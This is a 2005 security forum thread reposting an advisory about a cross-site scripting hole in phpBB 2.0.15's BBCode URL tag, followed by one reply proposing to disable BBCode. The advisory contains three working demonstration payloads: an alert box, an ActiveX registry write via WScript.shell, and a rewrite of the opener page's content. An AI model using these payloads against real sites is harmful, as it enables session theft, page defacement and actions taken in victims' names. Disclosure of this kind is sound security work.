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www.waraxe.us Forum Index -> PhpBB -> phpbb 2.0.15 URL Tag Input Validation Hole
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phpbb 2.0.15 URL Tag Input Validation Hole
PostPosted: Wed Jun 08, 2005 3:16 am Reply with quote
LINUX
Moderator
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Joined: May 24, 2004
Posts: 404
Location: Caiman




Diablo reported a vulnerability in phpBB in the processing of BBCode URL tags. A remote user can conduct cross-site scripting attacks.

A remote user can submit specially crafted BBCode URL tags that, when viewed by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the phpBB software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

[url=javascript://%0ASh=alert(%22CouCou%22);
window.close();]Alert box with \"Exploit By Diablo #asc #uruguay\"[/url]

[url=javascript://%0ASh=new%20ActiveXObject
(%22WScript.shell%22);Sh.regwrite(%22HKCU
%5C%5CQQQQQ%5C%5Cqq%22,%22Ex ploit By Diablo #asc #uruguay
%22);window.close();]Create registry entry:
HKCU\\QQQQQ\\qq = \"CouCou\"[/url]

[url=javascript://%0Awindow.opener.document.body.
inner HTML=window.opener.document.body.innerHTML.
replace(%27Hacked%20By%27,%27Diablo%2#asc#uruguai%27);
window.close();]Modify opener page: Diablo -> irc.gigachat.net #asc #uruguay[/url]

Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the phpBB software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
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PostPosted: Wed Jun 08, 2005 5:05 am Reply with quote
y3dips
Valuable expert
Valuable expert
Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




just disabling your BBCODE Smile
even the forum wont look so nice, but i think it helps

_________________
IO::y3dips->new(http://clog.ammar.web.id);
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phpbb 2.0.15 URL Tag Input Validation Hole
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